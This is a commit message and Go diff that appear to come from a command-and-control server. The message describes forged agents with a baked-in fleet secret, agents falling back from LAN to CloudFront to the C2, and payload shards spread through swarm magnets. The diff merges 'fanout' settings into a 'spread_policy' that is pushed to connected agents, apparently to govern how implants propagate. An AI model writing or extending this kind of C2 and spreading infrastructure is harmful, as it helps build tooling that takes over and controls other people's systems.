Add S3 erasure swarm with CloudFront signed magnets.

Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.

server/internal/api/websocket.go

@@ -182,6 +182,9 @@ type WSHub struct {
 	fargateBurstCampaign bool
 	fargateBurstExpiresAt time.Time
 	fargateBurstTTLHours  int
+	policySnapshotToken       string
+	policyEventBridgeRelayURL string
+	policyPublicBaseURL       func() string
 	pingIntervalSec int
 	fleetSecret     string // baked into forged agents; verified on WS connect
 	eventNotifier   *alerts.Notifier
@@ -976,6 +979,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					spreadPolicy[k] = v
 				}
 			}
+			if fanout := h.policyFanoutSpreadFields(); fanout != nil {
+				for k, v := range fanout {
+					spreadPolicy[k] = v
+				}
+			}
 			if len(spreadPolicy) > 0 {
 				resp["spread_policy"] = spreadPolicy
 			}